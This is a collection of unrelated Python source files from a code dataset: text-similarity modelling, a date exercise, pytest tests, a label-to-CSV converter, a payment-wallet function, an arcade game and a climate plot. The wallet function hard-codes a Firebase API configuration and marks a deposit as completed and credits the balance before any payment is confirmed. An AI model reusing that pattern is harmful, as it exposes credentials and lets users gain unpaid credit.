extra_weights\n            None\n        tfidf_model: str\n            Give filename if pre-defined tfidf model should be used. Otherwise set to None.\n        extra_epochs: int\n            Number of extra epochs to train IF method is 'update' and missing words are detected.\n        \"\"\"\n        # TODO  maybe move the update section to the build_model function?\n        \n        # Check if everything is there:\n        # 1) Check if model and bow-corpus are present\n        if self.model_word2vec is None:\n            print(\"Word2vec model first needs to be load or made (self.build_model_word2vec).\")\n        if len(self.bow_corpus) == 0:\n            print(\"BOW corpus has not been calculated yet (bow_corpus).\")\n        \n        # 2) Check if all words are included in trained word2vec model\n        dictionary = [self.dictionary[x] for x in self.dictionary]\n        test_vocab = []\n        for i, word in enumerate(dictionary):                \n            if word not in self.model_word2vec.wv.vocab:\n                test_vocab.append((i, word))\n        \n        if len(test_vocab) > 0:\n            print(\"Not all 'words' of the given documents are present in the trained word2vec model!\")\n            print(len(test_vocab), \" out of \", len(self.dictionary), \" 'words' were not found in the word2vec model.\")\n            if method == 'update':\n                print(\"The word2vec model will hence be updated by additional training.\")\n                self.model_word2vec.build_vocab(self.corpus, update=True)\n                self.model_word2vec.train(self.corpus, total_examples=len(self.corpus), epochs = extra_epochs)\n                self.model_word2vec.save('newmodel')\n                \n            elif method == 'ignore':\n                print(\"'Words'missing in the pretrained word2vec model will be ignored.\")\n                \n                _, missing_vocab = zip(*test_vocab)\n                print(\"Removing missing 'words' from corpus...\")\n                # Update corpus and BOW-corpus\n                self.corpus = [[word for word in document if word not in missing_vocab] for document in self.corpus]\n                self.bow_corpus = [self.dictionary.doc2bow(text) for text in self.corpus]\n                # TODO: add check with word intensities \n            else:\n                print(\"Given method how do deal with missing words could not be found.\")\n        else:\n            print(\"All 'words' of the given documents were found in the trained word2vec model.\")\n        \n        if tfidf_weighted is True:\n            if tfidf_model is not None:\n                self.tfidf = models.TfidfModel.load(tfidf_model)\n                print(\"Tfidf model found and loaded.\")\n            else:\n                if self.tfidf is None:\n                    self.tfidf = models.TfidfModel(self.bow_corpus)\n                    print(\"No tfidf model found.\")\n                else:\n                    print(\"Using present tfidf model.\")\n            \n            \n        vector_size = self.model_word2vec.wv.vector_size\n        vectors_centroid = []\n        \n        for i in range(len(self.bow_corpus)):\n            if (i+1) % 10 == 0 or i == len(self.bow_corpus)-1:  # show progress\n                print('\\r', ' Calculated centroid vectors for ', i+1, ' of ', len(self.bow_corpus), ' documents.', end=\"\")\n            \n            document = [self.dictionary[x[0]] for x in self.bow_corpus[i]]\n            if extra_weights is not None:\n                document_weight = [extra_weights[i][self.initial_documents[i].index(self.dictionary[x[0]])] for x in self.bow_corpus[i]]\n                document_weight = np.array(document_weight)/np.max(document_weight)  # normalize\n                if len(document_weight) == 0:\n                    print(\"Something might have gone wrong with: \", i)\n                    np.ones((len(document)))\n                elif weight_method == 'sqrt':\n                    document_weight = np.sqrt(document_weight)  # idea: take sqrt to make huge intensity differences less severe\n                elif weight_method is None:\n                    pass\n                else:\n                    print(\"Unkown weight adding method.\")\n            else:\n                document_weight = np.ones((len(document)))\n            if len(document) > 0:\n                term1 = self.model_word2vec.wv[document]\n                if tfidf_weighted:\n                    term2 = np.array(list(zip(*self.tfidf[self.bow_corpus[i]]))[1])\n                else:\n                    term2 = np.ones((len(document)))\n                    \n                term1 = term1 * np.tile(document_weight, (vector_size,1)).T\n                weighted_docvector = np.sum((term1.T * term2).T, axis=0)\n            else:\n                weighted_docvector = np.zeros((self.model_word2vec.vector_size))\n            vectors_centroid.append(weighted_docvector)\n            \n        self.vectors_centroid = np.array(vectors_centroid)        \n#        # TODO add save and load options\n\n        \n    def get_vectors_pca(self, dimension=100):\n        \"\"\" Calculate PCA vectors for all documents.\n        \n        Args:\n        -------\n        dimension: int\n            Dimension of reduced PCA vectors. Default is 100. \n        \"\"\"\n        pca = PCA(n_components=dimension)\n        \n        input_dim = len(self.dictionary)\n        corpus_dim = len(self.corpus)\n        \n        # See if there is one-hot encoded vectors (X_data)\n        if self.X_data is None:\n            # Transform data to be used as input for Keras model\n            self.X_data = np.zeros((corpus_dim, input_dim))\n            \n            for i, bow_doc in enumerate(self.bow_corpus[:corpus_dim]):\n                word_vector_bow = np.array([x[0] for x in bow_doc]).astype(int)\n                word_vector_count = np.array([x[1] for x in bow_doc]).astype(int)\n                self.X_data[i,:] = functions.full_wv(input_dim, word_vector_bow, word_vector_count)\n\n        self.vectors_pca = pca.fit_transform(self.X_data)\n\n\n## ------------------------------------------------------------------------------\n## -------------------- Calculate similarities ----------------------------------\n## ------------------------------------------------------------------------------\n        \n    def get_centroid_similarity(self, num_hits=25, method='cosine'):\n        \"\"\" Calculate centroid similarities(all-versus-all --> matrix)\n        \n        Args:\n        -------\n        num_centroid_hits: int\n            Function will store the num_centroid_hits closest matches. Default is 25.      \n        method: str\n            See scipy spatial.distance.cdist for options. Default is 'cosine'.\n        \n        \"\"\"\n        list_similars_idx, list_similars, mean_similarity = functions.calculate_similarities(self.vectors_centroid, \n                                                                   num_hits, method = method)\n        print(\"Calculated distances between \", list_similars.shape[0], \" documents.\")\n        self.list_similars_ctr_idx = list_similars_idx\n        self.list_similars_ctr = list_similars\n\n\n    def get_pca_similarity(self, num_hits=25, method='cosine'):\n        \"\"\" Calculate PCA similarities(all-versus-all --> matrix)\n        \n        Args:\n        -------\n        num_centroid_hits: int\n            Function will store the num_centroid_hits closest matches. Default is 25.      \n        method: str\n            See scipy spatial.distance.cdist for options. Default is 'cosine'.\n        \n        \"\"\"\n        list_similars_idx, list_similars, mean_similarity = functions.calculate_similarities(self.vectors_pca, \n                                                                   num_hits, method = method)\n        \n        self.list_similars_pca_idx = list_similars_idx\n        self.list_similars_pca = list_similars\n        \n        \n    def get_lda_similarity(self, num_hits=25):\n        \"\"\" Calculate LDA topic based similarities (all-versus-all)\n        \n        Args:\n        -------\n        num_centroid_hits: int\n            Function will store the num_centroid_hits closest matches. Default is 25.      \n        \n        \"\"\"\n\n        # Now using faster gensim way (also not requiering to load everything into memory at once)\n        index_tmpfile = get_tmpfile(\"index\")\n        index = gensim.similarities.Similarity(index_tmpfile, self.model_lda[self.bow_corpus], \n                                               num_features=len(self.dictionary))  # build the index\n        Cdist = np.zeros((len(self.corpus), len(self.corpus)))\n        for i, similarities in enumerate(index):  # yield similarities of all indexed documents\n            Cdist[:,i] = similarities\n            \n#        Cdist = 1 - Cdist  # switch from similarity to distance\n\n        # Create numpy arrays to store similarities\n        list_similars_idx = np.zeros((Cdist.shape[0],num_hits), dtype=int)\n        list_similars = np.zeros((Cdist.shape[0],num_hits))\n        \n        for i in range(Cdist.shape[0]):\n            list_similars_idx[i,:] = Cdist[i,:].argsort()[-num_hits:][::-1]\n            list_similars[i,:] = Cdist[i, list_similars_idx[i,:]]\n\n        self.list_similars_lda_idx = list_similars_idx\n        self.list_similars_lda = list_similars\n        \n        \n    def get_lsi_similarity(self, num_hits=25):\n        \"\"\" Calculate LSI based similarities (all-versus-all)\n        \n        Args:\n        -------\n        num_centroid_hits: int\n            Function will store the num_centroid_hits closest matches. Default is 25.      \n        \n        \"\"\"\n\n        # Now using faster gensim way (also not requiering to load everything into memory at once)\n        index_tmpfile = get_tmpfile(\"index\")\n        index = gensim.similarities.Similarity(index_tmpfile, self.model_lsi[self.bow_corpus], \n                                               num_features=len(self.dictionary))  # build the index\n        Cdist = np.zeros((len(self.corpus), len(self.corpus)))\n        for i, similarities in enumerate(index):  # yield similarities of all indexed documents\n            Cdist[:,i] = similarities\n            \n#        Cdist = 1 - Cdist  # switch from similarity to distance\n\n        # Create numpy arrays to store distances\n        list_similars_idx = np.zeros((Cdist.shape[0],num_hits), dtype=int)\n        list_similars = np.zeros((Cdist.shape[0],num_hits))\n        \n        for i in range(Cdist.shape[0]):\n            list_similars_idx[i,:] = Cdist[i,:].argsort()[-num_hits:][::-1]\n            list_similars[i,:] = Cdist[i, list_similars_idx[i,:]]\n\n        self.list_similars_lsi_idx = list_similars_idx\n        self.list_similars_lsi = list_similars","sub_path":"code/similarity_measure.py","file_name":"similarity_measure.py","file_ext":"py","file_size_in_byte":23251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"129443981","text":"# Define a daysBetweenDates procedure that would produce the\n# correct output if there was a correct nextDay procedure.\n#\n# Note that this will NOT produce correct outputs yet, since\n# our nextDay procedure assumes all months have 30 days\n# (hence a year is 360 days, instead of 365).\n#\n\ndef nextDay(year, month, day):\n    \"\"\"Simple version: assume every month has 30 days\"\"\"\n    _next_day = (year, month, day+1)\n    if day == 30:\n        _next_day = (year, month+1, 1) if month < 12 else (year+1, 1, 1)\n    return _next_day\n\ndef dateIsBefore(year1, month1, day1, year2, month2, day2):\n    if year1 < year2:\n        return True\n    elif year1 == year2:\n        if month1 < month2:\n            return True\n        elif month1 == month2 and day1 < day2:\n            return True\n        else:\n            return False\n    return False\n\n\ndef daysBetweenDates(year1, month1, day1, year2, month2, day2):\n    \"\"\"Returns the number of days between year1/month1/day1\n       and year2/month2/day2. Assumes inputs are valid dates\n       in Gregorian calendar, and the first date is not after\n       the second.\"\"\"\n\n    days = 0\n    while dateIsBefore(year1, month1, day1, year2, month2, day2):\n        year1, month1, day1 = nextDay(year1, month1, day1)\n        days += 1\n    return days\n\ndef test():\n\n    test_cases = [((2012,9,30,2012,10,30),30),\n                  ((2012,1,1,2013,1,1),360),\n                  ((2012,9,1,2012,9,4),3)]\n\n    for (args, answer) in test_cases:\n        result = daysBetweenDates(*args)\n        if result != answer:\n            print(\"Test with data:\", args, \"failed\")\n        else:\n            print(\"Test case passed!\")\n\nprint(\"Holas 4\")\nprint(daysBetweenDates(2012,9,30,2012,10,30))","sub_path":"2-how-to-solve-problems.py","file_name":"2-how-to-solve-problems.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"315249349","text":"\"\"\"Return prefixes dictionary from reading prefixes file.\"\"\"\n\nimport os\nfrom pathlib import Path\nimport pytest\nfrom csv2shex.constants import PREFIXFILE_NAME\nfrom csv2shex.prefixes import get_prefixes\n\n\nPREFIXFILE_CONTENT = (\n    \"prefixes:\\n\"\n    \"    dc: http://purl.org/dc/elements/1.1/\\n\"\n    \"    dcterms: http://purl.org/dc/terms/\\n\"\n)\n\nPREFIXES_PYOBJ = {\n    \"prefixes\": {\n        \"dc\": \"http://purl.org/dc/elements/1.1/\",\n        \"dcterms\": \"http://purl.org/dc/terms/\",\n    }\n}\n\n\ndef test_get_prefixes(tmp_path):\n    \"\"\"Return dictionary of configuration settings from YAML file.\"\"\"\n    os.chdir(tmp_path)\n    Path(PREFIXFILE_NAME).write_text(PREFIXFILE_CONTENT)\n    assert get_prefixes() == PREFIXES_PYOBJ\n\n\ndef test_get_prefixes_from_prefixfile_with_lines_commented_out(tmp_path):\n    \"\"\"Return configuration dictionary even if some lines are commented out.\"\"\"\n    os.chdir(tmp_path)\n    prefixfile_content = (\n        \"prefixes:\\n\"\n        \"#   dc: http://purl.org/dc/elements/1.1/\\n\"\n        \"    dcterms: http://purl.org/dc/terms/\\n\"\n    )\n    Path(PREFIXFILE_NAME).write_text(prefixfile_content)\n    expected = {\"prefixes\": {\"dcterms\": \"http://purl.org/dc/terms/\"}}\n    assert get_prefixes() == expected\n\n\ndef test_exit_if_prefixfile_has_bad_yaml(tmp_path):\n    \"\"\"Raise exception if config file has bad YAML.\"\"\"\n    os.chdir(tmp_path)\n    prefixfile_content = \"DELIBE\\nRATELY BAD: -: ^^YAML CONTENT^^\\n\"\n    Path(PREFIXFILE_NAME).write_text(prefixfile_content)\n    with pytest.raises(SystemExit):\n        get_prefixes()\n","sub_path":"tests/test_prefixes_get_prefixes.py","file_name":"test_prefixes_get_prefixes.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"606309020","text":"\nimport json\nimport pandas as pd\nimport os\nimport cv2\n\nfilename=[]\nwidth=[]\t\nheight=[]\t\nClass=[]\t\nxmin=[]\t\nymin=[]\nxmax=[]\nymax=[]\na=[]\nfile_number=0\n#classes=['bus','light','traffic_sign','person','bike','truck','motor','car','train','Rider']\nclasses=['bus','light','traffic light','person','bike','truck','motor','car','train','Rider',\"traffic sign\"]\nbblabel=[]\nloop=0\njason_path=\"/home/mayank-s/PycharmProjects/Datasets/Berkely_DeepDrive/labels/100k/train\"\nimage_path=\"/home/mayank-s/PycharmProjects/Datasets/Berkely_DeepDrive/bdd100k/images/100k/train\"\n\nfor i in os.listdir(image_path):\n    # if loop > 5:\n    #     break\n    image_name=i\n    dat=image_name.split(\".\")[0]\n    filename=os.path.join(jason_path, dat+\".json\")\n    Image_com_path = os.path.join(image_path, image_name)\n    try:\n        # filename=jason_path+\n        # if image_name.split('.')==k.split('.'):\n        my_image = cv2.imread(Image_com_path, 1)\n\n        data=open(filename,'r')\n        data1 = data.read()\n        data.close()\n        Json = json.loads(data1)\n        # filename.append(Json['name'])\n        # for obj in root.iter('object'):\n        for ki in Json['frames'][0]['objects']:\n            loop+=1\n            # print(\"count run\", loop)\n            object_name=ki['category']\n            if object_name in classes:\n                # print(ki.box2d.category)\n                xmin=int(ki['box2d']['x1'])\n                xmax=int(ki['box2d']['x2'])\n                ymin=int(ki['box2d']['y1'])\n                ymax=int(ki['box2d']['y2'])\n                width=my_image.shape[0]\n                height=my_image.shape[1]\n                # coordinate = [xmin, ymin, xmax, ymax, class_num]\n                data_label = [dat, width, height, object_name, xmin, ymin, xmax, ymax]\n                bblabel.append(data_label)\n    except IOError:\n        print(\"error at loop:{lp} and image:{dt}\".format(lp=loop,dt=dat))\n        print('error1')\n    except:\n        print(\"error at loop:{lp} and image:{dt}\".format(lp=loop, dt=dat))\n        print('error2')\n        # print('ERROR...object detecion failed for Filename: {fn} , Check file type '.format(fn=filename), '\\n')\n    else:\n        print(\"successfull for \", dat)\n\n\n        ''' print(len(Json['frames'][0]['objects']))\n            length_Variable=len(Json['frames'][0]['objects'])\n            for z in range(length_Variable):\n                for j in classes:\n                        if j==Json['frames'][0]['objects'][z]['category']:\n                            Class.append(Json['frames'][0]['objects'][z]['category'])\n                            xmin.append(Json['frames'][0]['objects'][z]['box2d']['x1'])\n                            xmax.append(Json['frames'][0]['objects'][z]['box2d']['x2'])\n                            ymin.append(Json['frames'][0]['objects'][z]['box2d']['y1'])\n                            ymax.append(Json['frames'][0]['objects'][z]['box2d']['y2'])\n                            for s in range(len(Class)):\n                                b=[filename[file_number]+'.jpg',Class[s],xmin[s],xmax[s],ymin[s],ymax[s]]\n                            a.append(b)\n                        else:\n                            pass\n            file_number=file_number+1'''\ncolumns=['filename','Class','xmin','xmax','ymin','ymax']\n\n# pd1=pd.DataFrame(a,columns=columns)\n# df=pd.DataFrame(bblabel)\n# df.to_csv('out.csv')\n# pd1.to_csv('output_bb.csv')\n\n\ndf=pd.DataFrame(bblabel,columns=columns)\ndf.to_csv('output_Train.csv')\n","sub_path":"Deep learning/Load Datasets/json_to_csv.py","file_name":"json_to_csv.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"59369694","text":"from utilities import make_request\nfrom datetime import datetime\nimport pyrebase\nconfig = {\n    \"apiKey\": \"AIzaSyDi0s4cV7eeultcnZTEkyQp7FchO5L6TGo\",\n    \"authDomain\": \"payment-gateway-f5a88.firebaseapp.com\",\n    \"databaseURL\": \"https://payment-gateway-f5a88-default-rtdb.asia-southeast1.firebasedatabase.app\",\n    \"projectId\": \"payment-gateway-f5a88\",\n    \"storageBucket\": \"payment-gateway-f5a88.appspot.com\",\n    \"messagingSenderId\": \"413267159482\",\n    \"appId\": \"1:413267159482:web:69047cd2cd5bddae4ad583\"\n}\nfirebase=pyrebase.initialize_app(config)\ndb=firebase.database()\ndef walletDeposit(amount,country,currency,customer_id):\n checkout_page={\n    \"amount\": amount,\n    \"complete_payment_url\": \"http://mediapipe-com.stackstaging.com/\",\n    'complete_checkout_url': \"http://mediapipe-com.stackstaging.com/\",\n    \"country\": country,\n    \"currency\": currency,\n    \"customer\": customer_id,\n    \"error_payment_url\": \"http://www.rapyd.net\",\n    \"merchant_reference_id\": \"950ae8c6-79\",\n    \"language\": \"en\",\n    \"metadata\": {\n        \"merchant_defined\": True\n    },\n    \"payment_method_type_categories\": [\n        \"bank_redirect\",\n        \"cash\",\n        \"card\",\n        \"ewallet\",\n        \"bank_transfer\"\n    ]\n  }\n result = make_request(method='post', path='/v1/checkout', body=checkout_page)\n payment_time = datetime.fromtimestamp(result['data']['timestamp']).ctime().split()\n token = result['data']['id']\n current_wallet_balance=db.child(\"customers/\"+customer_id+\"/wallet/balance\").get().val()\n current_wallet_balance=int(current_wallet_balance)\n amount=int(amount)\n wallet_balance=current_wallet_balance+amount\n db.child(\"customers/\"+customer_id+\"/wallet\").update({\"balance\":wallet_balance})\n data={\n        \"amount\":str(amount)+currency,\n        \"action\":\"Deposited to Wallet\",\n        \"id\":token,\n        \"status\":\"Completed\",\n        \"date_day\":payment_time[2],\n        \"date_month\":payment_time[1],\n        \"date_year\":payment_time[0]\n    }\n db.child(\"customers\").child(customer_id).child('transactions').child(token).update(data)\n return result[\"data\"][\"redirect_url\"]","sub_path":"wallet_deposit.py","file_name":"wallet_deposit.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"255234925","text":"import random\nimport arcade\nimport math\n\n# --- Constants ---\nSPRITE_SCALING_PLAYER = 0.5\nSPRITE_SCALING_COIN = 0.2\nSPRITE_SCALING_GEM = 0.2\nCOIN_COUNT = 50\nGEM_COUNT = 20\n\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\nMOVEMENT_SPEED = 5\n\n\nclass SilverCoin(arcade.Sprite):\n    \"\"\" Creating our coin \"\"\"\n\n    def __init__(self, filename, sprite_scaling):\n        super().__init__(filename, sprite_scaling)\n\n        self.change_x = 0\n        self.change_y = 0\n\n    def update(self):\n\n        \"\"\" Move the coin \"\"\"\n        self.center_x += self.change_x\n        self.center_y += self.change_y\n\n        if self.left < 0:\n            self.change_x *= -1\n\n        if self.right > SCREEN_WIDTH:\n            self.change_x *= -1\n\n        if self.bottom < 0:\n            self.change_y *= -1\n\n        if self.top > SCREEN_HEIGHT:\n            self.change_y *= -1\n\n\nclass RedGem(arcade.Sprite):\n    \"\"\"Creating the Evil Gem\"\"\"\n\n    def __init__(self, filename, sprite_scaling):\n        super().__init__(filename, sprite_scaling)\n\n        self.circle_angle = 1\n\n        self.circle_radius = random.randrange(1, 200)\n\n        self.circle_speed = .05\n\n        self.circle_center_x = random.randrange(0, SCREEN_WIDTH)\n        self.circle_center_y = random.randrange(0, SCREEN_HEIGHT)\n\n    def update(self):\n        self.center_x = self.circle_radius * math.sin(self.circle_angle) + self.circle_center_x\n        self.center_y = self.circle_radius * math.cos(self.circle_angle) + self.circle_center_y\n\n        self.circle_angle += self.circle_speed\n\n\nclass MyGame(arcade.Window):\n    \"\"\" Our custom Window Class\"\"\"\n\n    def __init__(self):\n        \"\"\" Initializer \"\"\"\n        # Call the parent class initializer\n        super().__init__(SCREEN_WIDTH, SCREEN_HEIGHT, \"Sprite Fright\")\n\n        # Variables that will hold sprite lists\n        self.player_list = None\n        self.coin_list = None\n        self.gem_list = None\n\n        # Set up the player info\n        self.player_sprite = None\n        self.score = 0\n\n        # Don't show the mouse cursor\n        self.set_mouse_visible(False)\n\n        # Is the game over?\n        self.game_over = False\n        self.length_of_play = 0\n\n        arcade.set_background_color(arcade.color.AMAZON)\n\n        # Loading up our sounds\n        self.bad_sound = arcade.load_sound(\"error3.wav\")\n        self.good_sound = arcade.load_sound(\"coin2.wav\")\n\n    def setup(self):\n        \"\"\" Set up the game and initialize the variables. \"\"\"\n\n        # Sprite lists\n        self.player_list = arcade.SpriteList()\n        self.coin_list = arcade.SpriteList()\n        self.gem_list = arcade.SpriteList()\n\n        # Score\n        self.score = 0\n\n        # Set up the player\n        # Character image from kenney.nl\n        self.player_sprite = arcade.Sprite(\"player_stand.png\", SPRITE_SCALING_PLAYER)\n        self.player_sprite.center_x = 50\n        self.player_sprite.center_y = 50\n        self.player_list.append(self.player_sprite)\n\n        # Create the coins\n        for i in range(COIN_COUNT):\n            # Create the coin instance\n            # Coin image from kenney.nl\n            coin = SilverCoin(\"coinSilver.png\", SPRITE_SCALING_COIN)\n\n            # Position the coin\n            coin.center_x = random.randrange(SCREEN_WIDTH)\n            coin.center_y = random.randrange(SCREEN_HEIGHT)\n\n            coin.change_x = random.randrange(-4, 5)\n            coin.change_y = random.randrange(-4, 5)\n\n            # Add the coin to the lists\n            self.coin_list.append(coin)\n\n        # Create the Gems\n        for i in range(GEM_COUNT):\n            # Gem image from Kenny.nl\n            gem = RedGem(\"gemRed.png\", SPRITE_SCALING_GEM)\n\n            # Position the Gems\n            gem.center_x = random.randrange(SCREEN_WIDTH)\n            gem.center_y = random.randrange(SCREEN_HEIGHT)\n\n            gem.change_x = random.randrange(-5, 6)\n            gem.change_y = random.randrange(-5, 6)\n\n            # Add the coin to the lists\n            self.gem_list.append(gem)\n\n    def on_draw(self):\n        \"\"\" Draw everything \"\"\"\n        arcade.start_render()\n        self.coin_list.draw()\n        self.gem_list.draw()\n        self.player_list.draw()\n\n        # Put the text on the screen.\n        output = f\"Score: {self.score}\"\n        arcade.draw_text(output, 10, 20, arcade.color.WHITE, 24)\n\n        if self.game_over is True:\n            arcade.draw_text(\"Game Over\\n Thanks for playing!\", SCREEN_WIDTH / 3, SCREEN_HEIGHT / 2,\n                             arcade.color.WHITE, 36)\n\n    def on_key_press(self, key, modifiers):\n        \"\"\" Called when user presses key \"\"\"\n        if key == arcade.key.LEFT:\n            self.player_sprite.change_x = -MOVEMENT_SPEED\n        if key == arcade.key.RIGHT:\n            self.player_sprite.change_x = MOVEMENT_SPEED\n        if key == arcade.key.UP:\n            self.player_sprite.change_y = MOVEMENT_SPEED\n        if key == arcade.key.DOWN:\n            self.player_sprite.change_y = -MOVEMENT_SPEED\n\n    def on_key_release(self, key, modifiers):\n        \"\"\" Called whenever a user releases a key \"\"\"\n        if key == arcade.key.LEFT or key == arcade.key.RIGHT:\n            self.player_sprite.change_x = 0\n        elif key == arcade.key.UP or key == arcade.key.DOWN:\n            self.player_sprite.change_y = 0\n\n    def update(self, delta_time):\n\n        \"\"\" Movement and game logic \"\"\"\n        # Call update on all sprites (The sprites don't do much in this\n        # example though\n        self.length_of_play += 1\n\n        if self.game_over is False:\n            self.player_sprite.update()\n\n            self.coin_list.update()\n\n            self.gem_list.update()\n\n        # Generate a list of all sprites that collided with the player.\n\n        coins_hit_list = arcade.check_for_collision_with_list(self.player_sprite,\n\n                                                              self.coin_list)\n\n        gem_hit_list = arcade.check_for_collision_with_list(self.player_sprite,\n\n                                                            self.gem_list)\n\n        # Loop through each colliding sprite, remove it, and add to the score.\n\n        for coin in coins_hit_list:\n            coin.remove_from_sprite_lists()\n\n            arcade.play_sound(self.good_sound)\n\n            self.score += 1\n\n        for gem in gem_hit_list:\n            gem.remove_from_sprite_lists()\n\n            arcade.play_sound(self.bad_sound)\n\n            self.score -= 2\n\n        if self.player_sprite.left < 0:\n            self.player_sprite.left = 0\n\n        if self.player_sprite.right > SCREEN_WIDTH:\n            self.player_sprite.right = SCREEN_WIDTH\n\n        if self.player_sprite.top > SCREEN_HEIGHT:\n            self.player_sprite.top = SCREEN_HEIGHT\n\n        if self.player_sprite.bottom < 0:\n            self.player_sprite.bottom = 0\n\n        if self.score >= 20 or self.score <= -10 or self.length_of_play > 3600:\n            self.game_over = True\n\n\ndef main():\n    \"\"\" Main method \"\"\"\n    window = MyGame()\n    window.setup()\n    arcade.run()\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"Lab 08 - Sprites/lab_08.py","file_name":"lab_08.py","file_ext":"py","file_size_in_byte":7022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"75781156","text":"import csv\nimport numpy as np\nimport pandas as pd\nimport datetime as dt\nimport matplotlib.pyplot as plt\nfrom matplotlib.axis import Axis\nfrom matplotlib.dates import DayLocator, HourLocator, DateFormatter, drange\n\ndb = pd.read_csv('Sykt_t_data_day_mean_2020WithRp5.csv', encoding='cp1251')\ndb = db.set_index(pd.DatetimeIndex(db['date']))\nprint(db.head(0))\n\n\nb_date = '01.01.2020'\ne_date = '31.12.2020'\n\ninter_year = 2020\ntemperature = 10\n\n\nbegin_date = pd.to_datetime(b_date, format='%d.%m.%Y')\nend_date = pd.to_datetime(e_date, format='%d.%m.%Y')\n\ndb_select = db[['Intraday_mean', 'Precipitation']].loc[(db.index >= begin_date) & (db.index <= end_date)]\n\ndb1_select = db_select.loc[(db_select['Intraday_mean'] >= temperature)]# & (db_select['Precipitation'] > 0)]\n\nprint(db1_select.index.min())\nbegin_date1 = db1_select.index.min()\n\nend_date1 = db1_select.index.max()\n\nprint(db1_select.index.max())\n\n\nstep = dt.timedelta(days=1)\n\ndate = pd.date_range(begin_date1, end_date1, freq='1D')\n\nprint(date)\n\nyearData = pd.DataFrame(date, index=date, columns=['date'])\n\n\nyearData['GTK'] = yearData.apply(lambda row: db['Precipitation'].loc[(db.index >= row['date']) & (db.index < row['date'] + step) & (db['Intraday_mean'] >= temperature)].sum()*10/db['Intraday_mean'].loc[(db.index >= row['date']) & (db.index < row['date'] + step) & (db['Intraday_mean'] >= temperature)].sum(), axis=1)\nyearData['GTK'] = yearData['GTK'].fillna(0)\nprint(yearData)\nvar1 = yearData['GTK']\n\n\n\n\n\n\n#\n# step = dt.timedelta(days=7)\n#\n# date = pd.date_range(begin_date1, end_date1, freq='7D')\n#\n# print(date)\n# barData = pd.DataFrame(date, index=date, columns=['date'])\n# bars = barData['date'].apply(lambda x: x.strftime('%d.%m'))\n#\n# bars = bars.append(pd.Series([(barData['date'].max()+step).strftime('%d.%m')], index=[barData['date'].max()+step]))\n\n# title = \"Диаграмма изменчивости суточного гидротермического коэффициента Селянинова\\n\" + r\"%s год\" % (begin_date1.strftime(\"%Y\")) + \"\\n\" + r\"вегетационный период с %s по %s\" % (begin_date1.strftime(\"%d.%m\"), end_date1.strftime(\"%d.%m\"))\n# plt.title(title, fontsize=12)\n\n# y_pos = np.arange(0, var1.size)\n\n#\n# # plt.Axes.bar(y_pos, var1)#, edgecolor=\"black\", linewidth=0.5)\n#\n# date = pd.date_range(begin_date1, end_date1, freq='7D')-dt.timedelta(days=7)\n# Date = pd.DataFrame(date, index=date, columns=['date'])\n# bars = Date['date'].apply(lambda x: x.strftime('%d.%m'))\n# bars = bars.append(pd.Series([(yearData['date'].max()+dt.timedelta(days=7)).strftime('%d.%m')], index=[yearData['date'].max()+dt.timedelta(days=7)]))\n# print(bars)\n# xtick_pos = np.arange(0, bars+1)\n# # print(bars)\n# fig, ax = plt.subplots()\n\n# print(var1.size)\ndelta = dt.timedelta(days=1)\ndates = pd.date_range(begin_date1, end_date1, freq='1D')\nprint(dates)\n\nfig, ax = plt.subplots()\nax.bar(dates, var1)\n\nax.set_xlim(dates[0], dates[-1]+delta)\n\nax.xaxis.set_major_locator(DayLocator(interval=7))\nAxis.set_minor_locator(ax.xaxis, DayLocator())\nax.xaxis.set_major_formatter(DateFormatter('%d.%m'))\n\nax.fmt_xdata = DateFormatter('%Y-%m-%d %H:%M:%S')\nfig.autofmt_xdate()\n\nfig.suptitle(\"Диаграмма изменчивости суточного гидрот��рмического коэффициента Селянинова\\n\" + r\"%s год\" % (begin_date1.strftime(\"%Y\")) + \"\\n\" + r\"вегетационный период с %s по %s\" % (begin_date1.strftime(\"%d.%m\"), end_date1.strftime(\"%d.%m\")), fontsize=12, fontweight='bold')\n\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n# ax.xaxis.set_major_locator(xtick_pos)\n# ax.xaxis.set_minor_locator(MultipleLocator(1))\n# plt.xticks(MultipleLocator(7), bars, fontsize=12, rotation='vertical')\n# ax.xaxis.set_major_formatter(FormatStrFormatter('%d'))\n# xtick_pos = np.arange(0, var1.size+1)\n# # xtick_pos = pd.Series([0,4,8,12,16,20,24])\n# print(xtick_pos)\n# # bars = pd.Series(['30.04', '28.05', '25.06', '23.07', '20.08', '17.09', '15.10'])\n# bars=[]\n# plt.xticks(xtick_pos, bars, fontsize=12, rotation='vertical')\n# # plt.tick_params(axis='x', width=2.5, color='black')\n# # plt.ylim(0, 8)\n# plt.xlim(-0.5, var1.size+0.5)\n# # plt.axvline(linewidth=0.75, x=0, color='b')\n# plt.axvline(linewidth=0.75, x=14+6/10, color='b')\n# plt.show()\n\n","sub_path":"Selyaninov_stolbiki.py","file_name":"Selyaninov_stolbiki.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
